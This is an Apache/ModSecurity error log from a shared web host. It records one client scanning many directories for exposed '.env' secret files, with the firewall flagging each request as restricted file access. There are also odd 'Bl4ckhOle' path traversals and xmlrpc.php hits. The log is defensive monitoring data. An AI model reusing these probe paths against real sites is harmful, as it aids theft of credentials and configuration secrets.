[Fri Jul 17 09:14:23.917388 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/.env"] [unique_id "almlFzsMb3am0TgkjETd4QAAAAo"]
[Fri Jul 17 09:14:24.035580 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /user-panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/user-panel/.env"] [unique_id "almlGCRF0UOO1RzB5_8xQQAAAA4"]
[Fri Jul 17 09:14:24.035844 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/user-panel/.env"] [unique_id "almlGCRF0UOO1RzB5_8xQQAAAA4"]
[Fri Jul 17 09:14:24.036096 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGCRF0UOO1RzB5_8xQQAAAA4"]
[Fri Jul 17 09:14:24.081332 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlFzsMb3am0TgkjETd4QAAAAo"]
[Fri Jul 17 09:14:24.203486 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/node/.env"] [unique_id "almlGLEKozcCJ-ReuK0F7wAAAAg"]
[Fri Jul 17 09:14:24.203771 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/node/.env"] [unique_id "almlGLEKozcCJ-ReuK0F7wAAAAg"]
[Fri Jul 17 09:14:24.204009 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGLEKozcCJ-ReuK0F7wAAAAg"]
[Fri Jul 17 09:14:24.251821 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/web/.env"] [unique_id "almlGF1_86A5R6msWNfXbAAAABI"]
[Fri Jul 17 09:14:24.253491 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/web/.env"] [unique_id "almlGF1_86A5R6msWNfXbAAAABI"]
[Fri Jul 17 09:14:24.372139 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /express/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/express/.env"] [unique_id "almlGA7FYe46zHK_jL3TAAAAABk"]
[Fri Jul 17 09:14:24.372394 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/express/.env"] [unique_id "almlGA7FYe46zHK_jL3TAAAAABk"]
[Fri Jul 17 09:14:24.372666 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGA7FYe46zHK_jL3TAAAAABk"]
[Fri Jul 17 09:14:24.449833 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:24.467418 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlGF1_86A5R6msWNfXbAAAABI"]
[Fri Jul 17 09:14:24.539466 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /next/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/next/.env"] [unique_id "almlGIl9vhFBGA6D8l99JAAAAAw"]
[Fri Jul 17 09:14:24.539729 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/next/.env"] [unique_id "almlGIl9vhFBGA6D8l99JAAAAAw"]
[Fri Jul 17 09:14:24.539987 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGIl9vhFBGA6D8l99JAAAAAw"]
[Fri Jul 17 09:14:24.620668 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.26:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory62/subsystem/devices/memory103/subsystem/devices/memory22/node0/memory95/"] [unique_id "almlGIe39YUk0SgV8AU9NwAAABE"]
[Fri Jul 17 09:14:24.620720 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.26:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory62/subsystem/devices/memory103/subsystem/devices/memory22/node0/memory95/"] [unique_id "almlGIe39YUk0SgV8AU9NwAAABE"]
[Fri Jul 17 09:14:24.635639 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/site/.env"] [unique_id "almlGCRF0UOO1RzB5_8xQgAAAA4"]
[Fri Jul 17 09:14:24.636822 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/site/.env"] [unique_id "almlGCRF0UOO1RzB5_8xQgAAAA4"]
[Fri Jul 17 09:14:24.686500 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 85.208.96.209:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/module/nf_tables_set/sections/__mcount_loc
[Fri Jul 17 09:14:24.707365 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nuxt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/nuxt/.env"] [unique_id "almlGA5GPQ6hs4VrfMpE7gAAAAY"]
[Fri Jul 17 09:14:24.707751 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/nuxt/.env"] [unique_id "almlGA5GPQ6hs4VrfMpE7gAAAAY"]
[Fri Jul 17 09:14:24.708256 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGA5GPQ6hs4VrfMpE7gAAAAY"]
[Fri Jul 17 09:14:24.758244 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/ttyS0/line
[Fri Jul 17 09:14:24.793221 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlGCRF0UOO1RzB5_8xQgAAAA4"]
[Fri Jul 17 09:14:24.858597 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:24.879693 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/nest/.env"] [unique_id "almlGLEWOaI5pmYo9fnR0gAAAAA"]
[Fri Jul 17 09:14:24.879926 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/nest/.env"] [unique_id "almlGLEWOaI5pmYo9fnR0gAAAAA"]
[Fri Jul 17 09:14:24.880139 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGLEWOaI5pmYo9fnR0gAAAAA"]
[Fri Jul 17 09:14:24.962500 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:24.963692 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/public/.env"] [unique_id "almlGOjME1mgqYZ5O94pWwAAAAE"]
[Fri Jul 17 09:14:24.965177 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/public/.env"] [unique_id "almlGOjME1mgqYZ5O94pWwAAAAE"]
[Fri Jul 17 09:14:25.050129 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /react/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/react/.env"] [unique_id "almlGa14q1EBnanVMYGnAAAAAAk"]
[Fri Jul 17 09:14:25.050509 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/react/.env"] [unique_id "almlGa14q1EBnanVMYGnAAAAAAk"]
[Fri Jul 17 09:14:25.050930 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGa14q1EBnanVMYGnAAAAAAk"]
[Fri Jul 17 09:14:25.072793 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:25.138943 2026] [security2:error] [pid 2013830:tid 2013830] [client 172.125.127.147:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/trails-global": Permission denied [hostname "trails.lk"] [uri "/xmlrpc.php"] [unique_id "almlFwRRrtuZqNDDSqWzNAAAABo"]
[Fri Jul 17 09:14:25.138987 2026] [security2:error] [pid 2013830:tid 2013830] [client 172.125.127.147:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/trails-ip": Permission denied [hostname "trails.lk"] [uri "/xmlrpc.php"] [unique_id "almlFwRRrtuZqNDDSqWzNAAAABo"]
[Fri Jul 17 09:14:25.176099 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlGOjME1mgqYZ5O94pWwAAAAE"]
[Fri Jul 17 09:14:25.217807 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /vue/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/vue/.env"] [unique_id "almlGQ5GPQ6hs4VrfMpE7wAAAAY"]
[Fri Jul 17 09:14:25.218123 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/vue/.env"] [unique_id "almlGQ5GPQ6hs4VrfMpE7wAAAAY"]
[Fri Jul 17 09:14:25.218424 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlGQ5GPQ6hs4VrfMpE7wAAAAY"]
[Fri Jul 17 09:14:25.347451 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/admin/.env"] [unique_id "almlGRHlOGcokz2QIwTWXQAAAAM"]
